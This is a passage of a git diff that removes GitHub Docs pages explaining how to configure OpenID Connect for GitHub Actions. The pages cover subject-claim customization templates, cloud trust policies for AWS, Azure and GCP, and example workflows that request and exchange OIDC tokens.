"https://token.actions.githubusercontent.com/octocat-inc", - "bf": 1755350653, - "exp": 1755351553, - "iat": 1755351253 -} -``` - -{% endif %} - -### Customizing the subject claims for an organization or repository - -To help improve security, compliance, and standardization, you can customize the standard claims to suit your required access conditions. If your cloud provider supports conditions on subject claims, you can create a condition that checks whether the `sub` value matches the path of the reusable workflow, such as `"job_workflow_ref:octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main"`. The exact format will vary depending on your cloud provider's OIDC configuration. To configure the matching condition on {% data variables.product.prodname_dotcom %}, you can use the REST API to require that the `sub` claim must always include a specific custom claim, such as `job_workflow_ref`. You can use the REST API to apply a customization template for the OIDC subject claim; for example, you can require that the `sub` claim within the OIDC token must always include a specific custom claim, such as `job_workflow_ref`. For more information, see [AUTOTITLE](/rest/actions/oidc). - -> [!NOTE] -> When the organization template is applied, it will not affect any workflows already using OIDC unless their repository has opted in to custom organization templates. For all repositories, existing and new, the repository owner will need to use the repository-level REST API to opt in to receive this configuration by setting `use_default` to `false`. Alternatively, the repository owner could use the REST API to apply a different configuration specific to the repository. For more information, see [AUTOTITLE](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository). - -Customizing the claims results in a new format for the entire `sub` claim, which replaces the default predefined `sub` format in the token described in [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims). - -> [!NOTE] -> The `sub` claim uses the shortened form `repo` (for example, `repo:ORG-NAME/REPO-NAME`) instead of `repository` to reference the repository. {% ifversion fpt or ghec or ghes > 3.15 %} -> Any `:` within the context value will be replaced with `%3A`. {% endif %} - -The following example templates demonstrate various ways to customize the subject claim. To configure these settings on {% data variables.product.prodname_dotcom %}, admins use the REST API to specify a list of claims that must be included in the subject (`sub`) claim. - -{% data reusables.actions.use-request-body-api %} - -To customize your subject claims, you should first create a matching condition in your cloud provider's OIDC configuration, before customizing the configuration using the REST API. Once the configuration is completed, each time a new job runs, the OIDC token generated during that job will follow the new customization template. If the matching condition doesn't exist in the cloud provider's OIDC configuration before the job runs, the generated token might not be accepted by the cloud provider, since the cloud conditions may not be synchronized. - -#### Example: Allowing repository based on visibility and owner - -This example template allows the `sub` claim to have a new format, using `repository_owner` and `repository_visibility`: - -```json -{ - "include_claim_keys": [ - "repository_owner", - "repository_visibility" - ] -} -``` - -In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include specific values for `repository_owner` and `repository_visibility`. For example: `"sub": "repository_owner:monalisa:repository_visibility:private"`. The approach lets you restrict cloud role access to only private repositories within an organization or enterprise. - -#### Example: Allowing access to all repositories with a specific owner - -This example template enables the `sub` claim to have a new format with only the value of `repository_owner`. - -{% data reusables.actions.use-request-body-api %} - -```json -{ - "include_claim_keys": [ - "repository_owner" - ] -} - -``` - -In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include a specific value for `repository_owner`. For example: `"sub": "repository_owner:monalisa"` - -#### Example: Requiring a reusable workflow - -This example template allows the `sub` claim to have a new format that contains the value of the `job_workflow_ref` claim. This enables an enterprise to use [reusable workflows](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims) to enforce consistent deployments across its organizations and repositories. - -{% data reusables.actions.use-request-body-api %} - -```json - { - "include_claim_keys": [ - "job_workflow_ref" - ] - } -``` - -In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include a specific value for `job_workflow_ref`. For example: `"sub": "job_workflow_ref:octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main"`. - -#### Example: Requiring a reusable workflow and other claims - -The following example template combines the requirement of a specific reusable workflow with additional claims. - -{% data reusables.actions.use-request-body-api %} - -This example also demonstrates how to use `"context"` to define your conditions. This is the part that follows the repository in the [default `sub` format](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#example-subject-claims). For example, when the job references an environment, the context contains: `environment:ENVIRONMENT-NAME`. - -```json -{ - "include_claim_keys": [ - "repo", - "context", - "job_workflow_ref" - ] -} -``` - -In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include specific values for `repo`, `context`, and `job_workflow_ref`. - -This customization template requires that the `sub` uses the following format: `repo:ORG-NAME/REPO-NAME:environment:ENVIRONMENT-NAME:job_workflow_ref:REUSABLE-WORKFLOW-PATH`. -For example: `"sub": "repo:octo-org/octo-repo:environment:prod:job_workflow_ref:octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main"` - -#### Example: Granting access to a specific repository - -This example template lets you grant cloud access to all the workflows in a specific repository, across all branches/tags and environments. {% ifversion ghec %}To further improve security, you can combine this template with a unique issuer URL for your enterprise, as described in [Customizing the `issuer` value for an enterprise](#customizing-the-issuer-value-for-an-enterprise).{% endif %} - -{% data reusables.actions.use-request-body-api %} - -```json -{ - "include_claim_keys": [ - "repo" - ] -} -``` - -In your cloud provider's OIDC configuration, configure the `sub` condition to require a `repo` claim that matches the required value. - -#### Example: Using system-generated GUIDs - -This example template enables predictable OIDC claims with system-generated GUIDs that do not change between renames of entities (such as renaming a repository). - -{% data reusables.actions.use-request-body-api %} - -```json - { - "include_claim_keys": [ - "repository_id" - ] - } -``` - -In your cloud provider's OIDC configuration, configure the `sub` condition to require a `repository_id` claim that matches the required value. - -or: - -```json -{ - "include_claim_keys": [ - "repository_owner_id" - ] -} -``` - -In your cloud provider's OIDC configuration, configure the `sub` condition to require a `repository_owner_id` claim that matches the required value. - -{% ifversion fpt or ghec or ghes > 3.15 %} - -#### Example: Context value with `:` - -This example demonstrates how to handle context value with `:`. For example, when the job references an environment named `production:eastus`. - -{% data reusables.actions.use-request-body-api %} - -```json -{ - "include_claim_keys": [ - "environment", - "repository_owner" - ] -} -``` - -In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include a specific value for `environment` and `repository_owner`. For example: `"sub": "environment:production%3Aeastus:repository_owner:octo-org"`. -{% endif %} - -#### Resetting organization template customizations - -This example template resets the subject claims to the default format. This template effectively opts out of any organization-level customization policy. - -{% data reusables.actions.use-request-body-api %} - -```json -{ - "include_claim_keys": [ - "repo", - "context" - ] -} -``` - -In your cloud provider's OIDC configuration, configure the `sub` condition to require that claims must include specific values for `repo` and `context`. - -#### Resetting repository template customizations - -All repositories in an organization have the ability to opt in or opt out of (organization and repository-level) customized `sub` claim templates. - -To opt out a repository and reset back to the default `sub` claim format, a repository administrator must use the REST API endpoint at [AUTOTITLE](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository). - -To configure repositories to use the default `sub` claim format, use the `PUT /repos/{owner}/{repo}/actions/oidc/customization/sub` REST API endpoint at with the following request body. - -```json -{ - "use_default": true -} -``` - -#### Example: Configuring a repository to use an organization template - -Once an organization has created a customized `sub` claim template, the REST API can be used to programmatically apply the template to repositories within the organization. A repository administrator can configure their repository to use the template created by the administrator of their organization. - -To configure the repository to use the organization's template, a repository admin must use the `PUT /repos/{owner}/{repo}/actions/oidc/customization/sub` REST API endpoint at with the following request body. For more information, see [AUTOTITLE](/rest/actions/oidc#set-the-customization-template-for-an-oidc-subject-claim-for-a-repository). - -```json -{ - "use_default": false -} -``` - -## Updating your workflows for OIDC - -You can now update your YAML workflows to use OIDC access tokens instead of secrets. Popular cloud providers have published their official login actions that make it easy for you to get started with OIDC. For more information about updating your workflows, see the cloud-specific guides listed below in [Enabling OpenID Connect for your cloud provider](#enabling-openid-connect-for-your-cloud-provider). - -{% ifversion fpt or ghec %} - -## Enabling OpenID Connect for Python package publishing - -You can use a {% data variables.product.prodname_actions %} workflow in a repository as a trusted publisher for a PyPI project. Using a workflow as a trusted publisher allows OIDC access tokens to be exchanged for temporary PyPI API tokens. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-pypi) and [Publishing to PyPI with a Trusted Publisher](https://docs.pypi.org/trusted-publishers/) in the PyPI documentation. - -{% endif %} - -## Enabling OpenID Connect for your cloud provider - -To enable and configure OIDC for your specific cloud provider, see the following guides: - -* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services) -* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure) -* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform) -* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-hashicorp-vault) - -To enable and configure OIDC for another cloud provider, see the following guide: - -* [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers) - -{% ifversion ghec %} - -### Following these guides on {% data variables.enterprise.data_residency_site %} - -If you are part of an enterprise that uses {% data variables.enterprise.data_residency %} and you're setting up OIDC on {% data variables.enterprise.data_residency_site %}, you must **substitute certain values** in the linked articles. - -* Your provider's expected claim must substitute `githubusercontent.com` with `{% data variables.enterprise.data_residency_domain %}`, where SUBDOMAIN is your enterprise's subdomain on {% data variables.enterprise.data_residency_site %}. -* For any URLs that include a route with your enterprise's name or slug, you must substitute your enterprise's subdomain on {% data variables.enterprise.data_residency_site %}. - -For example, if your subdomain is `octocorp`, the following substitutions apply: - -* The URL for seeing all the claims supported by {% data variables.product.company_short %}'s OIDC provider would be `https://token.actions.octocorp.ghe.com/.well-known/openid-configuration`. -* The value of `iss` in your OIDC token would be `https://token.actions.octocorp.ghe.com`. -* The enterprise can receive tokens at `https://token.actions.octocorp.ghe.com/octocorp`, and the REST API endpoint for customizing the `issuer` value would be `/enterprises/octocorp/actions/oidc/customization/issuer`. - -{% endif %} - -## Debugging your OIDC claims - -You can use the [`github/actions-oidc-debugger`](https://github.com/github/actions-oidc-debugger) action to visualize the claims that would be sent, before integrating with a cloud provider. This action requests a JWT and prints the claims included within the JWT that were received from {% data variables.product.prodname_actions %}. diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md deleted file mode 100644 index eeb27108f722..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md +++ /dev/null @@ -1,160 +0,0 @@ ---- -title: Configuring OpenID Connect in Amazon Web Services -shortTitle: OpenID Connect in AWS -intro: Use OpenID Connect within your workflows to authenticate with Amazon Web Services. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Security -redirect_from: - - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. - -This guide explains how to configure AWS to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) that uses tokens to authenticate to AWS and access resources. - -{% data reusables.actions.oidc-custom-claims-aws-restriction %} - -## Prerequisites - -{% data reusables.actions.oidc-link-to-intro %} - -{% data reusables.actions.oidc-security-notice %} - -{% data reusables.actions.oidc-on-ghecom %} - -{% ifversion ghes %} -{% data reusables.actions.oidc-endpoints %} - <!-- This note is indented to align with the above reusable. --> - - > [!NOTE] - > You can restrict access to the OIDC endpoints by allowing only [AWS IP address ranges](https://docs.aws.amazon.com/vpc/latest/userguide/aws-ip-ranges.html). - - > [!NOTE] - > {% data variables.product.prodname_dotcom %} does not natively support AWS session tags. - -{% endif %} - -## Adding the identity provider to AWS - -To add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM, see the [AWS documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html). - -* For the provider URL: Use {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %} -* For the "Audience": Use `sts.amazonaws.com` if you are using the [official action](https://github.com/aws-actions/configure-aws-credentials). - -### Configuring the role and trust policy - -To configure the role and trust in IAM, see the AWS documentation [Configure AWS Credentials for GitHub Actions](https://github.com/aws-actions/configure-aws-credentials#configure-aws-credentials-for-github-actions) and [Configuring a role for GitHub OIDC identity provider](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html#idp_oidc_Create_GitHub). - -> [!NOTE] -> AWS Identity and Access Management (IAM) recommends that users evaluate the IAM condition key, `token.actions.githubusercontent.com:sub`, in the trust policy of any role that trusts {% data variables.product.prodname_dotcom %}’s OIDC identity provider (IdP). Evaluating this condition key in the role trust policy limits which {% data variables.product.prodname_dotcom %} actions are able to assume the role. - -Edit the trust policy, adding the `sub` field to the validation conditions. For example: - -```json copy -"Condition": { - "StringEquals": { - "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:aud": "sts.amazonaws.com", - "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:ref:refs/heads/octo-branch" - } -} -``` - -If you use a workflow with an environment, the `sub` field must reference the environment name: `repo:ORG-NAME/REPO-NAME:environment:ENVIRONMENT-NAME`. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#understanding-the-oidc-token). - -{% data reusables.actions.oidc-deployment-protection-rules %} - -```json copy -"Condition": { - "StringEquals": { - "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:aud": "sts.amazonaws.com", - "{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:environment:prod" - } -} -``` - -In the following example, `StringLike` is used with a wildcard operator (`*`) to allow any branch, pull request merge branch, or environment from the `octo-org/octo-repo` organization and repository to assume a role in AWS. - -```json copy -{ - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::123456123456:oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringLike": { - "token.actions.githubusercontent.com:sub": "repo:octo-org/octo-repo:*" - }, - "StringEquals": { - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] -} -``` - -## Updating your {% data variables.product.prodname_actions %} workflow - -To update your workflows for OIDC, you will need to make two changes to your YAML: -1. Add permissions settings for the token. -1. Use the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) action to exchange the OIDC token (JWT) for a cloud access token. - -### Adding permissions settings - -{% data reusables.actions.oidc-permissions-token %} - -### Requesting the access token - -The `aws-actions/configure-aws-credentials` action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from AWS. For more information, see the AWS [documentation](https://github.com/aws-actions/configure-aws-credentials). - -* `BUCKET-NAME`: Replace this with the name of your S3 bucket. -* `AWS-REGION`: Replace this with the name of your AWS region. -* `ROLE-TO-ASSUME`: Replace this with your AWS role. For example, `arn:aws:iam::1234567890:role/example-role` - -```yaml copy -# Sample workflow to access AWS resources when workflow is tied to branch -# The workflow Creates static website using aws s3 -name: AWS example workflow -on: - push -env: - BUCKET_NAME : "BUCKET-NAME" - AWS_REGION : "AWS-REGION" -# permission can be added at job level or workflow level -permissions: - id-token: write # This is required for requesting the JWT - contents: read # This is required for actions/checkout -jobs: - S3PackageUpload: - runs-on: ubuntu-latest - steps: - - name: Git clone the repository - uses: {% data reusables.actions.action-checkout %} - - name: configure aws credentials - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 - with: - role-to-assume: ROLE-TO-ASSUME - role-session-name: samplerolesession - aws-region: {% raw %}${{ env.AWS_REGION }}{% endraw %} - # Upload a file to AWS s3 - - name: Copy index.html to s3 - run: | - aws s3 cp ./index.html s3://{% raw %}${{ env.BUCKET_NAME }}{% endraw %}/ -``` - -## Further reading - -{% data reusables.actions.oidc-further-reading %} diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-azure.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-azure.md deleted file mode 100644 index 12123ea443c1..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-azure.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Configuring OpenID Connect in Azure -shortTitle: OpenID Connect in Azure -intro: Use OpenID Connect within your workflows to authenticate with Azure. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Security -redirect_from: - - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. - -This guide gives an overview of how to configure Azure to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`azure/login`](https://github.com/Azure/login) action that uses tokens to authenticate to Azure and access resources. - -## Prerequisites - -{% data reusables.actions.oidc-link-to-intro %} - -{% data reusables.actions.oidc-security-notice %} - -{% data reusables.actions.oidc-on-ghecom %} - -{% ifversion ghes %} -{% data reusables.actions.oidc-endpoints %} - <!-- This note is indented to align with the above reusable. --> - - > [!NOTE] - > Microsoft Entra ID (previously known as Azure AD) does not have fixed IP ranges defined for these endpoints. - -* Make sure that the value of the issuer claim that's included with the JSON Web Token (JWT) is set to a publicly routable URL. For more information, see [AUTOTITLE](/enterprise-server@latest/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). -{% endif %} - -## Adding the federated credentials to Azure - -{% data variables.product.prodname_dotcom %}'s OIDC provider works with Azure's workload identity federation. For an overview, see Microsoft's documentation at [Workload identity federation](https://docs.microsoft.com/en-us/azure/active-directory/develop/workload-identity-federation). - -To configure the OIDC identity provider in Azure, you will need to perform the following configuration. For instructions on making these changes, refer to [the Azure documentation](https://docs.microsoft.com/en-us/azure/developer/github/connect-from-azure). - -{% ifversion fpt or ghec %}In the following procedure, you will create an application for Microsoft Entra ID (previously known as Azure AD).{% endif %} - -1. Create an Entra ID application and a service principal. -1. Add federated credentials for the Entra ID application. -1. Create {% data variables.product.prodname_dotcom %} secrets for storing Azure configuration. - -Additional guidance for configuring the identity provider: - -* For security hardening, make sure you've reviewed [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider). -* For the `audience` setting, `api://AzureADTokenExchange` is the recommended value, but you can also specify other values here. - -## Updating your {% data variables.product.prodname_actions %} workflow - -To update your workflows for OIDC, you will need to make two changes to your YAML: -1. Add permissions settings for the token. -1. Use the [`azure/login`](https://github.com/Azure/login) action to exchange the OIDC token (JWT) for a cloud access token. - -{% data reusables.actions.oidc-deployment-protection-rules %} - -### Adding permissions settings - -{% data reusables.actions.oidc-permissions-token %} - -### Requesting the access token - -The [`azure/login`](https://github.com/Azure/login) action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from Azure. For more information, see the [`azure/login`](https://github.com/Azure/login) documentation. - -The following example exchanges an OIDC ID token with Azure to receive an access token, which can then be used to access cloud resources. - -{% raw %} - -```yaml copy -name: Run Azure Login with OIDC -on: [push] - -permissions: - id-token: write - contents: read -jobs: - build-and-deploy: - runs-on: ubuntu-latest - steps: - - name: 'Az CLI login' - uses: azure/login@a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0 - with: - client-id: ${{ secrets.AZURE_CLIENT_ID }} - tenant-id: ${{ secrets.AZURE_TENANT_ID }} - subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} - - - name: 'Run az commands' - run: | - az account show - az group list -``` - - {% endraw %} - -## Further reading - -{% data reusables.actions.oidc-further-reading %} diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md deleted file mode 100644 index adf82eb86915..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers.md +++ /dev/null @@ -1,146 +0,0 @@ ---- -title: Configuring OpenID Connect in cloud providers -shortTitle: OpenID Connect in cloud providers -intro: Use OpenID Connect within your workflows to authenticate with cloud providers. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Security -redirect_from: - - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-cloud-providers ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in your cloud provider, without having to store any credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. - -To use OIDC, you will first need to configure your cloud provider to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and must then update your workflows to authenticate using tokens. - -## Prerequisites - -{% data reusables.actions.oidc-link-to-intro %} - -{% data reusables.actions.oidc-security-notice %} - -{% data reusables.actions.oidc-on-ghecom %} - -## Updating your {% data variables.product.prodname_actions %} workflow - -To update your workflows for OIDC, you will need to make two changes to your YAML: -1. Add permissions settings for the token. -1. Use the official action from your cloud provider to exchange the OIDC token (JWT) for a cloud access token. - -If your cloud provider doesn't yet offer an official action, you can update your workflows to perform these steps manually. - -{% data reusables.actions.oidc-deployment-protection-rules %} - -### Adding permissions settings - -{% data reusables.actions.oidc-permissions-token %} - -### Using official actions - -If your cloud provider has created an official action for using OIDC with {% data variables.product.prodname_actions %}, it will allow you to easily exchange the OIDC token for an access token. You can then update your workflows to use this token when accessing cloud resources. - -For example, Alibaba Cloud created [`aliyun/configure-aliyun-credentials-action`](https://github.com/aliyun/configure-aliyun-credentials-action) to integrate with using OIDC with {% data variables.product.prodname_dotcom %}. - -## Using custom actions - -If your cloud provider doesn't have an official action, or if you prefer to create custom scripts, you can manually request the JSON Web Token (JWT) from {% data variables.product.prodname_dotcom %}'s OIDC provider. - -If you're not using an official action, then {% data variables.product.prodname_dotcom %} recommends that you use the Actions core toolkit. Alternatively, you can use the following environment variables to retrieve the token: `ACTIONS_ID_TOKEN_REQUEST_TOKEN`, `ACTIONS_ID_TOKEN_REQUEST_URL`. - -To update your workflows using this approach, you will need to make three changes to your YAML: - -1. Add permissions settings for the token. -1. Add code that requests the OIDC token from {% data variables.product.prodname_dotcom %}'s OIDC provider. -1. Add code that exchanges the OIDC token with your cloud provider for an access token. - -### Requesting the JWT using the Actions core toolkit - -The following example demonstrates how to use `actions/github-script` with the `core` toolkit to request the JWT from {% data variables.product.prodname_dotcom %}'s OIDC provider. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-javascript-action#adding-actions-toolkit-packages). - -```yaml -jobs: - job: - environment: Production - runs-on: ubuntu-latest - steps: - - name: Install OIDC Client from Core Package - run: npm install @actions/core@1.6.0 @actions/http-client - - name: Get Id Token - uses: {% data reusables.actions.action-github-script %} - id: idtoken - with: - script: | - const coredemo = require('@actions/core') - let id_token = await coredemo.getIDToken() - coredemo.setOutput('id_token', id_token) -``` - -### Requesting the JWT using environment variables - -The following example demonstrates how to use environment variables to request a JSON Web Token. - -For your deployment job, you will need to define the token settings, using `actions/github-script` with the `core` toolkit. For more information, see [AUTOTITLE](/actions/creating-actions/creating-a-javascript-action#adding-actions-toolkit-packages). - -For example: - -```yaml -jobs: - job: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-github-script %} - id: script - timeout-minutes: 10 - with: - debug: true - script: | - const token = process.env['ACTIONS_RUNTIME_TOKEN'] - const runtimeUrl = process.env['ACTIONS_ID_TOKEN_REQUEST_URL'] - core.setOutput('TOKEN', token.trim()) - core.setOutput('IDTOKENURL', runtimeUrl.trim()) -``` - -You can then use `curl` to retrieve a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider. For example: - -```yaml - - run: | - IDTOKEN=$(curl -H "Authorization: bearer {% raw %} ${{steps.script.outputs.TOKEN}}" ${{steps.script.outputs.IDTOKENURL}} {% endraw %} -H "Accept: application/json; api-version=2.0" -H "Content-Type: application/json" -d "{}" | jq -r '.value') - echo $IDTOKEN - jwtd() { - if [[ -x $(command -v jq) ]]; then - jq -R 'split(".") | .[0],.[1] | @base64d | fromjson' <<< "${1}" - echo "Signature: $(echo "${1}" | awk -F'.' '{print $3}')" - fi - } - jwtd $IDTOKEN - echo "idToken=${IDTOKEN}" >> $GITHUB_OUTPUT - id: tokenid -``` - -### Getting the access token from the cloud provider - -You will need to present the OIDC JSON web token to your cloud provider in order to obtain an access token. - -For each deployment, your workflows must use cloud login actions (or custom scripts) that fetch the OIDC token and present it to your cloud provider. The cloud provider then validates the claims in the token; if successful, it provides a cloud access token that is available only to that job run. The provided access token can then be used by subsequent actions in the job to connect to the cloud and deploy to its resources. - -The steps for exchanging the OIDC token for an access token will vary for each cloud provider. - -### Accessing resources in your cloud provider - -Once you've obtained the access token, you can use specific cloud actions or scripts to authenticate to the cloud provider and deploy to its resources. These steps could differ for each cloud provider. - -For example, Alibaba Cloud maintains their own instructions for OIDC authentication. For more information, see [Overview of OIDC-based SSO](https://www.alibabacloud.com/help/en/ram/user-guide/overview-of-oidc-based-sso) in the Alibaba Cloud documentation. - -In addition, the default expiration time of this access token could vary between each cloud and can be configurable at the cloud provider's side. - -## Further reading - -{% data reusables.actions.oidc-further-reading %} diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md deleted file mode 100644 index cbf49af87bdc..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Configuring OpenID Connect in Google Cloud Platform -shortTitle: OpenID Connect in Google Cloud Platform -intro: Use OpenID Connect within your workflows to authenticate with Google Cloud Platform. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Security -redirect_from: - - /actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview - -OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. - -This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources. - -## Prerequisites - -{% data reusables.actions.oidc-link-to-intro %} - -{% data reusables.actions.oidc-security-notice %} - -{% data reusables.actions.oidc-on-ghecom %} - -{% ifversion ghes %} -{% data reusables.actions.oidc-endpoints %} - <!-- This note is indented to align with the above reusable. --> - - > [!NOTE] - > Google Cloud Platform does not have fixed IP ranges defined for these endpoints. - -* Make sure that the value of the issuer claim that's included with the JSON Web Token (JWT) is set to a publicly routable URL. For more information, see [AUTOTITLE](/enterprise-server@latest/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect). -{% endif %} - -## Adding a Google Cloud Workload Identity Provider - -To configure the OIDC identity provider in GCP, you will need to perform the following configuration. For instructions on making these changes, refer to [the GCP documentation](https://github.com/google-github-actions/auth). - -1. Create a new identity pool. -1. Configure the mapping and add conditions. -1. Connect the new pool to a service account. - -Additional guidance for configuring the identity provider: - -* For security hardening, make sure you've reviewed [Configuring the OIDC trust with the cloud](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see [Configuring the subject in your cloud provider](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider). -* For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions). -* The Issuer URL to use: {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %} - -## Updating your {% data variables.product.prodname_actions %} workflow - -To update your workflows for OIDC, you will need to make two changes to your YAML: -1. Add permissions settings for the token. -1. Use the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action to exchange the OIDC token (JWT) for a cloud access token. - -{% data reusables.actions.oidc-deployment-protection-rules %} - -### Adding permissions settings - -{% data reusables.actions.oidc-permissions-token %} - -### Requesting the access token - -The `google-github-actions/auth` action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from GCP. For more information, see the GCP [documentation](https://github.com/google-github-actions/auth). - -This example has a job called `Get_OIDC_ID_token` that uses actions to request a list of services from GCP. - -* `WORKLOAD-IDENTITY-PROVIDER`: Replace this with the path to your identity provider in GCP. For example, `projects/example-project-id/locations/global/workloadIdentityPools/name-of-pool/providers/name-of-provider` -* `SERVICE-ACCOUNT`: Replace this with the name of your service account in GCP. - -This action exchanges a {% data variables.product.prodname_dotcom %} OIDC token for a Google Cloud access token, using [Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation). - -{% raw %} - -```yaml copy -name: List services in GCP -on: - pull_request: - branches: - - main - -permissions: - id-token: write - -jobs: - Get_OIDC_ID_token: - runs-on: ubuntu-latest - 